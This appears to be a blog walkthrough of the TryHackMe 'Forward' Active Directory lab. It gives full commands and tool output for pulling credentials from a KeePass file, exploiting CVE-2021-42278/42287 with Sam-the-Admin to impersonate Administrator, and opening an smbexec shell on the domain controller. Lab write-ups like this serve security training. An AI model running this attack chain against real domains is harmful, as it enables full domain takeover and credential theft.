TryHackMe - Forward CFT

-

 



Introduction


Forward is a medium-difficulty Active Directory machine on TryHackMe. The challenge simulates an assumed-breach scenario where an unprivileged domain account is provided initially.


The objective is to enumerate the domain, obtain additional credentials, identify a privilege escalation path, exploit vulnerable Active Directory behavior, and eventually obtain administrative access to the Domain Controller.


Target Information

Target IP: 10.112.158.28

Domain: ctf.local

Domain Controller: DC01.ctf.local


Initial credentials:

ctf.local\j.smith

Password: JSmith@IT2024


1. Initial Enumeration


I started with a full TCP Nmap scan to identify exposed services:


sudo nmap -Pn -sC -sV -p- 10.112.158.28 -oN forward.nmap


The scan identified several Active Directory-related services, including:


53/tcp    DNS

88/tcp    Kerberos

135/tcp   MSRPC

139/tcp   NetBIOS

389/tcp   LDAP

445/tcp   SMB

464/tcp   Kerberos password change

636/tcp   LDAPS

3268/tcp  Global Catalog LDAP

3389/tcp  RDP


The presence of Kerberos, LDAP, SMB, and a Domain Controller certificate strongly indicated that the target was an Active Directory Domain Controller.


The scan also identified the host as:


DC01.ctf.local


2. Configuring /etc/hosts


Because Kerberos relies heavily on correct hostname resolution, I added the Domain Controller to /etc/hosts:


sudo nano /etc/hosts


I added:


10.112.158.28 DC01.ctf.local DC01 ctf.local


This allowed the following names to resolve to the Domain Controller:


DC01

DC01.ctf.local

ctf.local


I then verified connectivity to the relevant services.


3. Initial Access via RDP


Since RDP was exposed, I attempted to authenticate using the supplied credentials:


xfreerdp3 /cert:ignore /d:ctf.local /u:j.smith /p:'JSmith@IT2024' /v:10.112.158.28


The login was successful.


This provided an interactive Windows session as the low-privileged domain user j.smith.


4. Searching for Interesting Files


After gaining access, I began manually enumerating the user's files.


One particularly interesting file was:


Database.kdbx


A .kdbx file is a KeePass password database.


Opening the database revealed stored credentials belonging to another domain user:


Username: t.jones

Password: Helpdesk01!


These credentials were much more interesting than the initial account because they provided access to another domain user with additional privileges.


5. Access as t.jones


I authenticated as t.jones using the recovered credentials.


I then checked the privileges assigned to this account:


whoami /priv


One particularly interesting privilege was:


SeMachineAccountPrivilege


This privilege allows the user to create computer accounts in the Active Directory domain, provided that the domain's MachineAccountQuota permits it.


This immediately suggested a possible Active Directory privilege escalation path.


6. Checking MachineAccountQuota


I checked the domain's ms-DS-MachineAccountQuota value:


Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota


The result showed:


ms-DS-MachineAccountQuota = 10


This meant that an unprivileged user could create computer accounts in the domain.


At this point, the relevant conditions for the attack were present:


t.jones

    |

    +-- SeMachineAccountPrivilege

    |

    +-- MachineAccountQuota = 10

    |

    +-- Domain Controller

    |

    +-- Vulnerable Windows Server build


7. Identifying the CVE-2021-42278 / CVE-2021-42287 Attack


The combination of SeMachineAccountPrivilege and a non-zero MachineAccountQuota suggested the sAMAccountName spoofing attack, involving:


CVE-2021-42278

CVE-2021-42287


The attack abuses how Active Directory and the Kerberos Key Distribution Center handle computer account names.


At a high level, the attack works by:


Creating a new computer account.

Changing its sAMAccountName to resemble the Domain Controller.

Requesting a Kerberos Ticket Granting Ticket (TGT).

Restoring the original computer account name.

Requesting a service ticket using the previously obtained credentials.

Exploiting the KDC name-resolution behavior.

Impersonating a highly privileged account such as Administrator.


8. Checking the Windows Build


I also checked the Windows version using:


winver


The machine was running a vulnerable Windows Server 2019 build:


10.0.17763.1821


This was below the relevant security update level for the vulnerabilities.


Therefore, the target appeared to satisfy all the necessary requirements for the attack.


9. Using Sam-the-Admin


Instead of manually performing every stage of the attack, I used the Sam-the-Admin implementation.


The project automates the CVE-2021-42278 / CVE-2021-42287 attack chain.


After cloning the repository, I entered the project directory:


git clone https://github.com/WazeHell/sam-the-admin.git

cd sam-the-admin


I initially encountered a Python dependency problem because the installed Impacket version relied on the deprecated pkg_resources module.


I fixed the dependency by installing a compatible version of setuptools:


python3 -m pip uninstall setuptools -y

python3 -m pip install 'setuptools<81'


I then ran the tool using the target's current IP address:


python3 sam_the_admin.py \

-dc-ip 10.112.158.28 \

'ctf.local/t.jones:Helpdesk01!'


10. Successful Exploitation


The tool successfully identified the Domain Controller and confirmed that the domain allowed computer account creation.


Important output included:


[*] Selected Target dc01.ctf.local

[*] Total Domain Admins 1

[*] will try to impersonate Administrator

[*] Current ms-DS-MachineAccountQuota = 10


The tool then created a new computer account:


SAMTHEADMIN-19$


It successfully added the machine account to the domain:


[*] Successfully added machine account SAMTHEADMIN-19$


The attack then modified its sAMAccountName:


[*] SAMTHEADMIN-19$ sAMAccountName == dc01


The tool obtained a Kerberos ticket and subsequently restored the machine account:


[*] Saving ticket in dc01.ccache

[*] Resting the machine account to SAMTHEADMIN-19$

[*] Restored SAMTHEADMIN-19$ sAMAccountName to original value


Finally, it performed the impersonation step:


[*] Using TGT from cache

[*] Impersonating Administrator

[*]     Requesting S4U2self

[*] Saving ticket in Administrator.ccache


This was the critical point of the attack.


The file:


Administrator.ccache


contained the Kerberos credentials necessary to authenticate as Administrator.


11. Obtaining an Administrator Shell


Sam-the-Admin provided the command required to use the Kerberos ticket with Impacket's SMB execution functionality.


I executed:


KRB5CCNAME='Administrator.ccache' \

impacket-smbexec \

-target-ip 10.112.158.28 \

-dc-ip 10.112.158.28 \

-k \

-no-pass \

@dc01.ctf.local


There was initially a local Impacket version conflict between the system installation and the virtual environment. After fixing the Impacket installation, the SMB execution worked successfully.


The result was a remote command shell:


C:\Windows\System32>


At this point I had administrative command execution on the Domain Controller.


12. Navigating the SMBExec Shell


One peculiarity of smbexec is that it does not behave exactly like a normal interactive Windows CMD shell.


For example:


cd ..


returned:


[-] You can't CD under SMBEXEC. Use full paths.


Therefore, I used absolute paths instead.


For example:


dir C:\Users


and:


dir C:\Users\Administrator\Desktop


The flag was located in the Administrator's Desktop directory.


I then read it using:


type C:\Users\Administrator\Desktop\flag.txt


This successfully revealed the flag.


13. Attack Chain Summary


The complete attack chain was:


Initial credentials

       |

       v

j.smith

       |

       v

RDP access

       |

       v

Enumerate user files

       |

       v

Database.kdbx

       |

       v

Recover t.jones credentials

       |

       v

t.jones

       |

       v

SeMachineAccountPrivilege

       |

       v

MachineAccountQuota = 10

       |

       v

CVE-2021-42278

       +

       CVE-2021-42287

       |

       v

Sam-the-Admin

       |

       v

Administrator.ccache

       |

       v

Kerberos authentication

       |

       v

SMBExec

       |

       v

Administrator shell

       |

       v

C:\Users\Administrator\Desktop\flag.txt

Conclusion


The main lesson from Forward was the importance of chaining seemingly low-impact Active Directory weaknesses.


The initial j.smith account did not provide administrative privileges. However, enumeration revealed a KeePass database containing credentials for t.jones. That account had SeMachineAccountPrivilege, while the domain allowed users to create computer accounts through a MachineAccountQuota value of 10.


Combined with the vulnerable Windows Server build, these conditions allowed the CVE-2021-42278 and CVE-2021-42287 sAMAccountName spoofing attack.


Using Sam-the-Admin, I was able to obtain an Administrator.ccache, authenticate to the Domain Controller through Kerberos, obtain an SMBExec shell, and finally read the flag from the Administrator's Desktop.


The key takeaway is that in Active Directory environments, privilege escalation often comes from chaining multiple small weaknesses rather than exploiting a single obvious vulnerability.

Comments

Post a Comment

Popular posts from this blog

TryHackMe - Typo Snare Threat Hunter Simulator (medium level)

-
Image
  Threat Hunt Walkthrough The "Typo Snare" scenario on TryHackMe is a fantastic real-world simulation of a sophisticated, multi-stage attack. It starts with a simple mistake and escalates to a full domain compromise, culminating in ransomware. This post will walk you through the entire attack chain, phase by phase, showing you how to find each piece of evidence using Elastic KQL queries. Phase 1: Initial Access & Execution What Happened: The attack began when the user perry.parsons on workstation WKSTN-03 needed a 7-Zip tool. He googled it, clicked a typosquatted link ( 7zipp.org ), and downloaded a trojanized installer. This installer executed a PowerShell script ( 7z.ps1 ) directly from the attacker's server to establish the initial foothold. How to Find It: You are looking for a PowerShell process that was likely spawned by a browser and contains a command to download and execute a script ( iwr for Invoke-WebRequest and iex for Invoke-Expression ). KQL Query...
Read more

TryHackMe - Matryoshka CFT

-
Image
  Full Walkthrough — Matryoshka Containment Unit Matryoshka Containment Unit is a Docker/container escape challenge that teaches: Docker socket abuse Privileged container escalation Shared volume abuse Remote code execution between containers Namespace escape to the host system Below is the complete attack chain from the first flag to the host flag. 1. Initial Enumeration You started inside the level1 container and performed basic Linux/container enumeration. Commands: ls -la cat /proc/1/cgroup find / -perm -4000 2 >/dev/null find / -name docker.sock 2 >/dev/null What you discovered .dockerenv This indicated you were inside a Docker container. /var/run/docker.sock This was the key vulnerability. Docker socket exposure means: the container can communicate directly with the Docker daemon running on the host anyone with access to the socket can effectively control Docker on the host machine This is one of the most dangerous Docker misconfigurations. 2. V...
Read more

TryHackMe - Threat Hunting Simulator - Health Hazard

-
Image
  Scenario overview After months of juggling content calendars and caffeine-fueled brainstorming, co-founder Tom Whiskers finally carved out time to build the company’s first website. It was supposed to be simple: follow a tutorial, install a few packages, and bring the brand to life with lightweight JavaScript magic.   But between sleepless nights and copy-pasted code, Tom started feeling off. Not sick exactly, just off. The terminal scrolled with reassuring green text, the site loaded fine, and everything looked normal.   Then, a strange file appeared on the system. No one could say where it came from. It wasn’t part of the tutorial, didn’t match any known dependencies, and didn’t even run.   It just waited.   Scenario objectives Determine how a threat actor first gained a foothold on the system. Identify suspicious activity that may point to the initial compromise method. Investigate signs of malicious execution following the initial access. Analyse the logs ...
Read more